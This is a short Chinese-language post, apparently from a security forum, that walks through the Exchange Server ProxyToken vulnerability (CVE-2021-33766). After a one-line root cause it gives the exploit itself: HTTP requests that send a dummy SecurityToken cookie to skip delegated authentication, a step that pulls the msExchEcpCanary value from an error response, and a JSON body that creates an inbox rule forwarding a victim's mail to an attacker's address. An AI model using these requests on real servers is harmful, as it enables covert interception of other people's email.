ExchangeServer email窃听漏洞-PROXYTOKEN (CVE-2021-33766)

漏洞原因：
漏洞出现在“委托身份验证”的功能中，如果前端header中存在非空的SecurityToken的Cookie时，就会直接请求后端服务，不会加载委托认证的模块（DelegatedAuthModule）。

1. 向受目标服务器请求poc泄露msExchEcpCanary

[AppleScript] 纯文本查看 复制代码

POST /ecp/test1@test.com/RulesEditor/InboxRules.svc/NewObject
...
Cookie: SecurityToken=x
...

2. 在response 500 错误的header中找到msExchEcpCanary

3. 使用 msExchEcpCanary 值代入，请求设置转发规则

[AppleScript] 纯文本查看 复制代码

POST /ecp/RulesEditor/InboxRules.svc/NewObject?msExchEcpCanary=$token
...
Cookie: SecurityToken=x
...
{"properties":{"ForwardTo":[{"RawIdentity":"myemail@test.com","DisplayName":"myemail","Address":"myemail@test.com","AddressOrigin":3,"RecipientFlag":0,"RoutingType":"SMTP","SMTPAddress":"myemail@test.com"}],"Name":"test","StopProcessingRules":"true"}}